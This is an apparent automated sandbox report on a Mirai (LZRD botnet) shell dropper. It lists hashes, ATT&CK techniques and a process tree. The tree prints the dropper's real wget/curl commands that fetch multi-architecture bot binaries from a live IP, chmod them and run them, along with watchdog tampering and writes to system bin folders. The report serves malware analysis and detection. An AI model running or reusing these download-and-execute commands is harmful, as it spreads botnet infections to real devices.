mirai | 74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091

Analysis

max time kernel
148s
max time network
149s
platform
ubuntu-18.04_amd64
resource
ubuntu1804-amd64-20240729-en
resource tags

arch:amd64arch:i386image:ubuntu1804-amd64-20240729-enkernel:4.15.0-213-genericlocale:en-usos:ubuntu-18.04-amd64system
submitted
02/01/2025, 04:21

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General

Target

ohshit.sh
Size

2KB
MD5

ed9afc8adb1a34f93090873f6b76ec07
SHA1

13b5f418f63a32c61e493995e10e3baa0b02caab
SHA256

74c5a35690cad6b7fc66a5c03b772b3d9c8787357685b4180263b927c9b70091
SHA512

3ef263bf7ef4cadcc3587d3ef891289cb051087c9d125a74fc8f34f16cda89ca79c2a5ae6f2d0edee3f87855de37af4a594779d6d0d332beade0654e102bd049

Score

10^/10

mirai lzrd botnet defense_evasion discovery upx

Malware Config

Extracted

Family

mirai

Botnet

LZRD

Signatures

Mirai
Mirai is a prevalent Linux malware infecting exposed network devices.
botnet mirai
Mirai family
mirai

File and Directory Permissions Modification 1 TTPs 15 IoCs

Adversaries may modify file or directory permissions to evade defenses.

defense_evasion

Linux and Mac File and Directory Permissions Modification

T1222.002

pid	Process
1538	chmod
1578	chmod
1586	chmod
1530	chmod
1632	chmod
1570	chmod
1554	chmod
1594	chmod
1610	chmod
1646	chmod
1546	chmod
1562	chmod
1602	chmod
1618	chmod
1522	chmod

Executes dropped EXE 15 IoCs

ioc	pid	Process
/tmp/WTF	1523	WTF
/tmp/WTF	1531	WTF
/tmp/WTF	1539	WTF
/tmp/WTF	1547	WTF
/tmp/WTF	1555	WTF
/tmp/WTF	1563	WTF
/tmp/WTF	1571	WTF
/tmp/WTF	1579	WTF
/tmp/WTF	1587	WTF
/tmp/WTF	1595	WTF
/tmp/WTF	1603	WTF
/tmp/WTF	1611	WTF
/tmp/WTF	1619	WTF
/tmp/WTF	1633	WTF
/tmp/WTF	1647	WTF

Modifies Watchdog functionality 1 TTPs 30 IoCs

Malware like Mirai modifies the Watchdog to prevent it restarting an infected system.

defense_evasion

Impair Defenses

T1562

description	ioc	Process
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF
File opened for modification	/dev/watchdog	WTF
File opened for modification	/dev/misc/watchdog	WTF

Enumerates running processes
Discovers information about currently running processes on the system

Writes file to system bin folder 30 IoCs

description	ioc	Process
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/sbin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF
File opened for modification	/bin/watchdog	WTF

UPX packed file 1 IoCs

Detects executables packed with UPX/modified UPX open source packer.

upx

resource	yara_rule
behavioral1/files/fstream-1.dat	upx

Reads runtime system information 64 IoCs

Reads data from /proc virtual filesystem.

discovery

description	ioc	Process
File opened for reading	/proc/1514/cmdline	WTF
File opened for reading	/proc/1065/cmdline	WTF
File opened for reading	/proc/1265/cmdline	WTF
File opened for reading	/proc/710/cmdline	WTF
File opened for reading	/proc/1511/cmdline	WTF
File opened for reading	/proc/1512/cmdline	WTF
File opened for reading	/proc/710/cmdline	WTF
File opened for reading	/proc/1598/cmdline	WTF
File opened for reading	/proc/1065/cmdline	WTF
File opened for reading	/proc/1596/cmdline	WTF
File opened for reading	/proc/1235/cmdline	WTF
File opened for reading	/proc/1598/cmdline	WTF
File opened for reading	/proc/1507/cmdline	WTF
File opened for reading	/proc/1507/cmdline	WTF
File opened for reading	/proc/1526/cmdline	WTF
File opened for reading	/proc/1151/cmdline	WTF
File opened for reading	/proc/575/cmdline	WTF
File opened for reading	/proc/1511/cmdline	WTF
File opened for reading	/proc/456/cmdline	WTF
File opened for reading	/proc/1174/cmdline	WTF
File opened for reading	/proc/541/cmdline	WTF
File opened for reading	/proc/960/cmdline	WTF
File opened for reading	/proc/1606/cmdline	WTF
File opened for reading	/proc/1141/cmdline	WTF
File opened for reading	/proc/1524/cmdline	WTF
File opened for reading	/proc/1173/cmdline	WTF
File opened for reading	/proc/1159/cmdline	WTF
File opened for reading	/proc/1265/cmdline	WTF
File opened for reading	/proc/1191/cmdline	WTF
File opened for reading	/proc/688/cmdline	WTF
File opened for reading	/proc/1065/cmdline	WTF
File opened for reading	/proc/1648/cmdline	WTF
File opened for reading	/proc/710/cmdline	WTF
File opened for reading	/proc/1157/cmdline	WTF
File opened for reading	/proc/1017/cmdline	WTF
File opened for reading	/proc/1075/cmdline	WTF
File opened for reading	/proc/1620/cmdline	WTF
File opened for reading	/proc/970/cmdline	WTF
File opened for reading	/proc/1548/cmdline	WTF
File opened for reading	/proc/729/cmdline	WTF
File opened for reading	/proc/1146/cmdline	WTF
File opened for reading	/proc/723/cmdline	WTF
File opened for reading	/proc/920/cmdline	WTF
File opened for reading	/proc/1542/cmdline	WTF
File opened for reading	/proc/553/cmdline	WTF
File opened for reading	/proc/553/cmdline	WTF
File opened for reading	/proc/456/cmdline	WTF
File opened for reading	/proc/1486/cmdline	WTF
File opened for reading	/proc/1518/cmdline	WTF
File opened for reading	/proc/685/cmdline	WTF
File opened for reading	/proc/673/cmdline	WTF
File opened for reading	/proc/956/cmdline	WTF
File opened for reading	/proc/1157/cmdline	WTF
File opened for reading	/proc/1157/cmdline	WTF
File opened for reading	/proc/1133/cmdline	WTF
File opened for reading	/proc/1612/cmdline	WTF
File opened for reading	/proc/566/cmdline	WTF
File opened for reading	/proc/1354/cmdline	WTF
File opened for reading	/proc/1133/cmdline	WTF
File opened for reading	/proc/415/cmdline	WTF
File opened for reading	/proc/1486/cmdline	WTF
File opened for reading	/proc/1244/cmdline	WTF
File opened for reading	/proc/1171/cmdline	WTF
File opened for reading	/proc/1291/cmdline	WTF

System Network Configuration Discovery 1 TTPs 2 IoCs

Adversaries may gather information about the network configuration of a system.

discovery

System Network Configuration Discovery

T1016

pid	Process
1527	wget
1528	curl

Writes file to tmp directory 28 IoCs

Malware often drops required files in the /tmp directory.

description	ioc	Process
File opened for modification	/tmp/wind.arc	wget
File opened for modification	/tmp/wind.arm	curl
File opened for modification	/tmp/wind.mips	wget
File opened for modification	/tmp/wind.ppc	curl
File opened for modification	/tmp/wind.arm6	curl
File opened for modification	/tmp/wind.arm7	curl
File opened for modification	/tmp/wind.spc	wget
File opened for modification	/tmp/wind.arc	curl
File opened for modification	/tmp/wind.x86_64	curl
File opened for modification	/tmp/wind.x86	wget
File opened for modification	/tmp/wind.arm5	wget
File opened for modification	/tmp/wind.spc	curl
File opened for modification	/tmp/wind.m68k	curl
File opened for modification	/tmp/wind.sh4	curl
File opened for modification	/tmp/wind.i468	curl
File opened for modification	/tmp/wind.arm5	curl
File opened for modification	/tmp/wind.i686	curl
File opened for modification	/tmp/wind.arm	wget
File opened for modification	/tmp/wind.arm6	wget
File opened for modification	/tmp/wind.m68k	wget
File opened for modification	/tmp/wind.x86	curl
File opened for modification	/tmp/WTF	ohshit.sh
File opened for modification	/tmp/wind.mpsl	curl
File opened for modification	/tmp/wind.arm7	wget
File opened for modification	/tmp/wind.ppc	wget
File opened for modification	/tmp/wind.sh4	wget
File opened for modification	/tmp/wind.mips	curl
File opened for modification	/tmp/wind.mpsl	wget

/tmp/ohshit.sh
/tmp/ohshit.sh
1⤵
- Writes file to tmp directory
PID:1514
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.x86
  2⤵
  - Writes file to tmp directory
  PID:1515
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.x86
  2⤵
  - Writes file to tmp directory
  PID:1517
- /bin/cat
  cat wind.x86
  2⤵
  PID:1521
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1522
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1523
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1527
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.mips
  2⤵
  - System Network Configuration Discovery
  - Writes file to tmp directory
  PID:1528
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1530
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1531
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arc
  2⤵
  - Writes file to tmp directory
  PID:1535
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arc
  2⤵
  - Writes file to tmp directory
  PID:1536
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1538
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1539
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.i468
  2⤵
  PID:1543
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.i468
  2⤵
  - Writes file to tmp directory
  PID:1544
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.i468 wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1546
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1547
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.i686
  2⤵
  PID:1551
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.i686
  2⤵
  - Writes file to tmp directory
  PID:1552
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.i468 wind.i686 wind.mips wind.x86 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1554
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1555
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.x86_64
  2⤵
  PID:1559
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.x86_64
  2⤵
  - Writes file to tmp directory
  PID:1560
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.i468 wind.i686 wind.mips wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1562
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1563
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1567
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.mpsl
  2⤵
  - Writes file to tmp directory
  PID:1568
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1570
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1571
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm
  2⤵
  - Writes file to tmp directory
  PID:1575
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm
  2⤵
  - Writes file to tmp directory
  PID:1576
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.arm wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1578
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1579
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm5
  2⤵
  - Writes file to tmp directory
  PID:1583
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm5
  2⤵
  - Writes file to tmp directory
  PID:1584
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.arm wind.arm5 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1586
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1587
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm6
  2⤵
  - Writes file to tmp directory
  PID:1591
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm6
  2⤵
  - Writes file to tmp directory
  PID:1592
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.arm wind.arm5 wind.arm6 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1594
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1595
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.arm7
  2⤵
  - Writes file to tmp directory
  PID:1599
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.arm7
  2⤵
  - Writes file to tmp directory
  PID:1600
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1602
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1603
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.ppc
  2⤵
  - Writes file to tmp directory
  PID:1607
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.ppc
  2⤵
  - Writes file to tmp directory
  PID:1608
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1610
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1611
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.spc
  2⤵
  - Writes file to tmp directory
  PID:1615
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.spc
  2⤵
  - Writes file to tmp directory
  PID:1616
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-0LUECz systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1618
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1619
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.m68k
  2⤵
  - Writes file to tmp directory
  PID:1623
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.m68k
  2⤵
  - Writes file to tmp directory
  PID:1624
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-KV5GwI systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1632
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1633
- /usr/bin/wget
  wget http://45.95.169.120/hiddenbin/wind.sh4
  2⤵
  - Writes file to tmp directory
  PID:1637
- /usr/bin/curl
  curl -O http://45.95.169.120/hiddenbin/wind.sh4
  2⤵
  - Writes file to tmp directory
  PID:1640
- /bin/chmod
  chmod +x config-err-IZfVsQ netplan_enwh8izm ohshit.sh snap-private-tmp ssh-9hEdEAdBTRuW systemd-private-ebf8c56e97e94b11b12c4628626e911d-bolt.service-41GAXG systemd-private-ebf8c56e97e94b11b12c4628626e911d-colord.service-0HU1IG systemd-private-ebf8c56e97e94b11b12c4628626e911d-ModemManager.service-CAm8PW systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-resolved.service-gCUm69 systemd-private-ebf8c56e97e94b11b12c4628626e911d-systemd-timedated.service-EResVb wind.arc wind.arm wind.arm5 wind.arm6 wind.arm7 wind.i468 wind.i686 wind.m68k wind.mips wind.mpsl wind.ppc wind.sh4 wind.spc wind.x86 wind.x86_64 WTF
  2⤵
  - File and Directory Permissions Modification
  PID:1646
- /tmp/WTF
  ./WTF
  2⤵
  - Executes dropped EXE
  - Modifies Watchdog functionality
  - Writes file to system bin folder
  - Reads runtime system information
  PID:1647

Network

MITRE ATT&CK Enterprise v15

Reconnaissance

Resource Development

Initial Access

Execution

Persistence

Privilege Escalation

Defense Evasion

File and Directory Permissions Modification

T1222

Linux and Mac File and Directory Permissions Modification

T1222.002

Impair Defenses

T1562

Credential Access

Discovery

System Network Configuration Discovery

T1016

Lateral Movement

Collection

Command and Control

Exfiltration

Impact

Replay Monitor

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Downloads

/tmp/wind.x86

Filesize
20KB

MD5
2696d2b99111e232d78a0c9678a3e154

SHA1
19933c0b1d0b81348c862aaedbda11087b87c874

SHA256
3cd86a5cc82976251f617c7ca32d6d0fa5e757a4489f0e60dd1cccff28f8b379

SHA512
67a9bd12fe8499665fe2a4ae772f4685744a00bfec1452577236f626ddbd8087956609673a78b514a6e438538f815242c98dff15b83c1b8f4302130ea818b8bb

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